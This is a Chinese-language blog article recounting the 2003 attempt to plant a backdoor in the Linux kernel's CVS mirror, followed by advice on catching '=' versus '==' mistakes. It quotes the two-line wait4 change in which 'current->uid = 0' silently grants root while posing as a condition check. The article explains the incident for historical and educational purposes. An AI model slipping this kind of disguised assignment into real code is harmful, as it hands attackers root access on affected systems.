'如何在Linux中安插一個後門?'

"

Linux內核是開源的代碼,能不能向其中安插一個後門呢?這是一件難度很高的操作,但是有人卻差點兒成功了,我們來看看這是怎麼回事。

時間回到2003年,當時Linux內核的代碼主倉庫保存在一個叫做BitKeeper的商業軟件中。如果想對Linux內核代碼進行修改的話,需要走一個審批流程,以此來確定這次更改能否被接受。每一次更改都有一個簡單的說明,其中包含一個指向審批記錄的鏈接。

但是有些人不喜歡BitKeeper(堂堂的Linux怎麼能保存在閉源的商業軟件中?!), 於是一個CVS(估計好多人都沒聽說過它了吧)被建立了起來,其中保存著從BitKeeper clone來的代碼, 這樣開發人員可以用開源的CVS來訪問Linux代碼。

2003年11月5號,Larry McVoy 注意到了一件怪事,CVS中的一個代碼變更沒有包含審批記錄的鏈接, 這是怎麼回事?

經過一番調查發現:從來沒有人批准過這個代碼變更,奇怪的是,這個代碼變更並沒有出現在BitKeeper主倉庫中,原來是有人黑進了CVS的服務器,偷偷插入了一段代碼。這段代碼到底做了什麼事情呢?

這段代碼修改了一個叫做wait4的Linux函數,程序可以使用wait4來等待一些事情的發生,這個代碼變更增加了這麼兩行:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;


(代碼可左右滑動,懂得C語言的同學可以思考下,這段代碼有什麼不尋常的?)

粗一看這段代碼,就會覺得這沒啥啊?不就是做一點條件檢查嗎,不滿足條件就返回錯誤。

但是仔細看看就會發現事情不對,第一行的最後, 有個"current->uid=0", 而不是 "current->uid == 0" 。

正常的寫法應該是“==0”, 就是檢查當前的用戶ID是不是0, 寫成“=0”就是把當前用戶ID設置為0 , 而ID為0的用戶是"root" !

這就意味著,如果這段代碼被執行,當前用戶就會變成root,可以在系統中為所欲為!

這其實是個經典的後門, 想象一個,一個黑客在Linux運行了一個程序,這個程序調用了wait4, 然後這個黑客突然間具備了root權限!

這個後門可是真夠聰明的,偽裝成了條件檢查,試圖矇混過關,如果一直沒人發現會怎麼樣呢?

首先,後門存在CVS中,不在BitKeeper的主倉庫中,從BitKeeper 代碼庫Build出的Linux肯定沒問題, 但是如果有人從CVS代碼庫中build了Linux, 那就中招了。

其次,搞破壞的傢伙可能有這樣的預期:有個被Linus Torvalds所信任的內核開發者,他討厭BitKeeper,並且在使用CVS, 那當他修改了代碼,準備通過郵件的方式向Linus Torvalds發送patch的時候發現,咦,wait4這裡也有個code change, 是做條件檢查的,也包括進去吧。Linus收到補丁,一看是自己信任的兄弟提交的,沒有仔細檢查,於是後門代碼進入了主代碼倉庫。

這當然是猜測的場景,也算是一種社會工程學攻擊吧,不過Linux團隊非常小心,把這個後門給揪了出來。

故事到這裡就可以結束了,再就這個話題擴展一下,多說兩句。

我記得剛工作的時候,有個同事給我說,在C語言中,當需要和0比較的時候,可以把0放到前面,這麼寫:

if( 0 == user_id){ ....... }

這樣即使把 == 寫成了 = , 編譯器就會發現錯誤。我當時覺得挺古怪的,把一個數字放到前面,變量放到後面。後來習慣了,在Java 也經常會這樣寫 if (null == user){ ...... }

其實現在的IDE都很智能了,像這種把==寫成=的情況,IDE就可以給出警告。即使沒有用IDE,如果對源碼做靜態的代碼分析,也會被抓出來的警告的。

Linux是開源的代碼,任何人,只要你願意,都可以查看所有的代碼,這相當於把Linux放到了陽光底下,無數雙眼睛都盯著看,這種透明度使得在其中安插一個後門是非常難的。

參考資料:

https://lwn.net/Articles/57135/

https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/

"

相關推薦

推薦中...